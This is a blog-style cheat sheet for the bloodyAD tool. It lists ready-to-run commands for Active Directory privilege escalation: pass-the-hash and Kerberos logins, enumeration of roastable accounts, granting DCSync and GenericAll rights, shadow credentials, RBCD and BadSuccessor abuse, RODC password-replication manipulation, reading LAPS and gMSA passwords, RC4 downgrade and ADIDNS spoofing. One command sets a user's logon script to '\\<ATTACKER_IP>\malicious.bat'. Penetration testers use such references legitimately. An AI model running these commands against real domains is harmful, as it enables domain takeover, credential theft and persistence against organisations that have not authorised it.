Post

bloodyAD

bloodyAD

This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.


Contents


Installation and updates

Windows

Linux

Install with pipx:

1
pipx install git+https://github.com/CravateRouge/bloodyAD

Update

1
pipx upgrade bloodyAD

Authentication

Username and Password

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' ...<SNIP>....

Pass-the-Hash

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>....

Kerberos

Use the domain controller FQDN (for example, DC01.lab.local).

Using a Password

When you have the user’s password, -k makes bloodyAD request a TGT automatically:

1
bloodyAD --host $FQDN -d $DOMAIN -u 'user' -p 'password' -k ...<SNIP>....

Using an NT Hash as an RC4 Key

To authenticate with Kerberos using an NT hash, Pass-the-Hash without the leading colon and explicitly select RC4:

1
bloodyAD --host $FQDN -d $DOMAIN -u 'user' -p '<NTHASH>' -k -f rc4 ...<SNIP>....

Using an Existing TGT

If you already have a TGT, load its ccache into KRB5CCNAME and use Kerberos authentication with bloodyAD:

1
2
export KRB5CCNAME=user.ccache
bloodyAD --host $FQDN -d $DOMAIN -k ...<SNIP>....

Enumeration

ACLs and Writable Access

To automate the enumeration process, you can use my tool DACLhound where you can see WriteProperty permissions that don’t show up in BloodHound

  • Enumerate object attributes where we have WRITABLE access (very useful for checking permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get writable --detail
  • Get all securityDescriptors of an object (very useful to manually enumerate the entire DACL list of an object searching for permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntSecurityDescriptor --resolve-sd

Objects, Memberships, and Directory Structure

  • Get all available information for a user
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_USER'
  • Get all critical information for a user
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
  • Get a list of all members of a group
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_GROUP' --attr member
  • Get group membership for a user/group/computer
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get membership 'TARGET_OBJECT'
  • Get a list of all users (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype useronly
  • Get a list of all groups (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype group
  • Get a list of all computers (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype computer
  • Get a list of all Organizational Units (OUs) (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype container
  • Get a list of all Trusts
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype trustedDomain
  • Get a list of all GPOs
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap gpos
  • Get a list of all accounts with an SPN (servicePrincipalName) assigned {Kerberoastable users}
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
  • Get a list of all accounts with the DONT_REQ_PREAUTH flag {AS-REP Roastable users}
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Domain Policy and Configuration

  • Get the total available Machine Account Quota (MAQ) for all users
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
  • Get the total available Machine Account Quota (MAQ) for the current user
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'CN=NTDS Quotas,DC=lab,DC=local' --attr msDS-QuotaEffective
  • Get how many machines have already been created by the current user
    1
    
    bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'CN=NTDS Quotas,DC=lab,DC=local' --attr msDS-QuotaUsed
    
  • Get the AD Forest level
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version
  • Get the domain minimum password length
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength
  • Get users that require Smart Card (SMARTCARD_REQUIRED)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=262144)' --attr samAccountName
  • Get users with ENCRYPTED_TEXT_PWD_ALLOWED
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))' --attr samAccountName
  • Enumerate users inside a specific OU
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --base 'OU=TARGET_OU,DC=LAB,DC=LOCAL' --filter '(objectClass=user)' --attr dn,sAMAccountName
  • Get domain password history length (pwdHistoryLength)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr pwdHistoryLength
  • Get BloodHound collector with transitive trusts
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get bloodhound --transitive

MSLDAP Shortcuts

These compact msldap commands help find common AD relationships and account conditions.

Delegation and Trusts

  • Enumerate Unconstrained Delegation (TRUSTED_FOR_DELEGATION):
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap unconstrained
  • Enumerate Constrained Delegation (msDS-AllowedToDelegateTo):
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap constrained
  • Enumerate domain trusts:
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap trusts

Roastable Accounts and Legacy Machines

  • List Kerberoastable accounts (SPNs):
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap spns
  • Find pre-Windows 2000 computer accounts:
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap pre2000
  • Find AS-REP roastable accounts:
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap asrep

BadSuccessor Checks

  • Check for potential BadSuccessor exposure:
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap badsuccessor_check

Account and Object Control

Groups, Membership, and Ownership

  • Add a user to a group
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'
  • Add a cross-forest/cross-domain user to a group (Bidirectional Trust)

    Note: Imagine a bidirectional trust where users from $DOMAIN can authenticate on moneycorp.corp. To add a user or group from $DOMAIN (for example, gzzcoo) to a group in moneycorp.corp, you must point bloodyAD to the target Domain Controller (DC2.moneycorp.corp) but authenticate with the source domain (-d $DOMAIN). Since objects from $DOMAIN don’t natively exist in the target domain’s LDAP directory, you must use their SID from the source domain ($DOMAIN). This SID can belong to any user or group in $DOMAIN that you want to add to the target group in moneycorp.corp.

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'
  • Remove a user from a group
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' delete groupMember 'GROUP_NAME' 'MEMBER_TO_DELETE'
  • Make a user the owner of an object (Usually via the WriteOwner ACL)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'NEW_OWNER'
  • Add GenericAll (Full Control) permissions to an object
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add genericAll 'TARGET_OBJECT' 'TRUSTEE'

Account State and Domain Permissions

  • Enable a disabled account
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE
  • Add DCSync permissions to an object
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add DCSync 'TARGET_OBJECT'

Object Attributes and Identity Mapping

  • Add a malicious script to a user that executes upon login (scriptPath)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' scriptPath -v '\\<ATTACKER_IP>\malicious.bat'
  • Modify the UPN (userPrincipalName) for AD CS/UPN Spoofing attacks
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'
  • Modify a user’s mail attribute
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' mail -v 'pwned@$DOMAIN'
  • Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'

Create and Move Accounts

  • Create a new computer account
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'
  • Create a new computer account in a specific OU
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD' --ou OU=TARGET_OU,DC=LAB,DC=LOCAL'
  • Create a new user
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD'
  • Create a new user in a specific OU
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'
  • Modify user RDN to move between OUs (useful with CREATE_CHILD/DELETE_CHILD permissions on OUs)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' distinguishedName -v 'CN=TARGET_USER,OU=TARGET_OU,DC=LAB,DC=LOCAL'
  • Enable logonHours to allow login at any time
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' logonHours -v '////////////////////////////' --b64

dMSA and BadSuccessor

  • Abuse CREATE_CHILD on an OU in Windows Server 2025 - dMSA (BadSuccessor)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add badSuccessor 'attackerDMSA' -t 'CN=ADMINISTRATOR,CN=USERS,DC=LAB,DC=LOCAL' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'

Group Scope and Type

  • Modify a group’s scope/type (Bypass direct scope change restrictions)

    Note: Active Directory prevents direct conversion between certain scopes (e.g., from Global to Domain Local). To bypass this restriction, you must use a Universal group as an intermediate step.

Change to Security Universal Group (-2147483640):

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483640

Change to Domain Local Security Group (-2147483644):

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483644

RODC Golden Ticket

With administrative control over an RODC (Read-Only Domain Controller) computer object in Active Directory (e.g., GenericWrite, GenericAll, WriteDacl, WriteOwner), there is a path to fully compromise the domain. By modifying the RODC’s Password Replication Policy (PRP) via the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup attributes, an attacker can allow a Domain Admin’s credentials to be cached on the RODC, log in to the RODC, and dump the credentials.

Allow a Principal to Replicate to the RODC

  • Get original msDS-RevealOnDemandGroup values of the RODC object
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroup
  • Add the target high-privileged user (e.g., Administrator) to the allowed replication group alongside the original values obtained previously
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'

Review the Deny List

  • Clear or modify the msDS-NeverRevealGroup attribute to ensure the target admin is not prevented from replicating
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroup

Password and Managed Account Attacks

User Passwords

  • Modify a user’s password
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'

gMSA and LAPS

  • Add a principal to the list allowed to read a gMSA password (requires WRITE_PROP on msDS-GroupMSAMembership)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add gmsaGroup 'targetgMSA$' 'NEW_MEMBER'
  • Read a computer’s gMSA password
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPassword
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap gmsa
  • Read a computer’s LAPS password
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap laps
  • Read a target computer’s LAPS password:
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap lapstarget 'TARGET_COMPUTER'

Kerberos and Delegation

AS-REP Roasting

  • Enable DONT_REQ_PREAUTH to make a user AS-REP Roastable
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH

Shadow Credentials

  • Shadow Credentials Attack (requires PKINIT afterwards)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add shadowCredentials 'TARGET'

Delegation Flags and RBCD

  • Add the TRUSTED_FOR_DELEGATION flag - Unconstrained Delegation

It requires special permissions like SeEnableDelegationPrivilege

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_FOR_DELEGATION
  • Add the TRUSTED_TO_AUTH_FOR_DELEGATION/msDS-AllowedToDelegateTo flag - Constrained Delegation

It requires special permissions like SeEnableDelegationPrivilege

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION
  • Add the Resource-based Constrained Delegation (RBCD)
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'

Kerberoasting and SPNs

  • Assign an SPN to a user to make them Kerberoastable
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/target'
  • Remove the previously added SPN
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET' servicePrincipalName

Encryption Types

  • Downgrade Kerberos to RC4 (etype 23) when an SPN-enabled user returns an AES ticket (etype 18) and you can modify msDS-SupportedEncryptionTypes. For example, through GenericWrite on the user or WriteProperty on that attribute.
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' msDS-SupportedEncryptionTypes -v 4

DNS Attacks

Inspect DNS Rights and Records

Check whether the current account can write DNS records with get writable --detail before attempting a change.

Read DNS Records

  • Query the system DNS records
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get dnsDump > dnsdump.txt

ADIDNS Spoofing

1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get dnsDump | sed -n '/[^\n]*\*/,/^$/p'
  • Create a new DNS record * to perform ADIDNS Spoofing
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add dnsRecord '*' 'ATTACKER_IP'

Add a DNS Record

  • Create a new DNS record to perform DNS Spoofing attacks
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'

Restore Deleted AD Objects

Check Restore Rights

https://cravaterouge.com/articles/ad-bin/

  • Check if we have permissions to restore deleted objects (can also be seen with get writable --detail if we have ACLs over other users).
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'

Search for Deleted Objects

  • Check for deleted users in AD
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,description

Restore an Object

  • Restore a deleted user in AD [DN, sAMAccountName (or name for GPO) or SID of the target (avoid sAMAccountName if there is a duplicate)]
1
bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set restore 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'

References

This post is licensed under CC BY 4.0 by the author.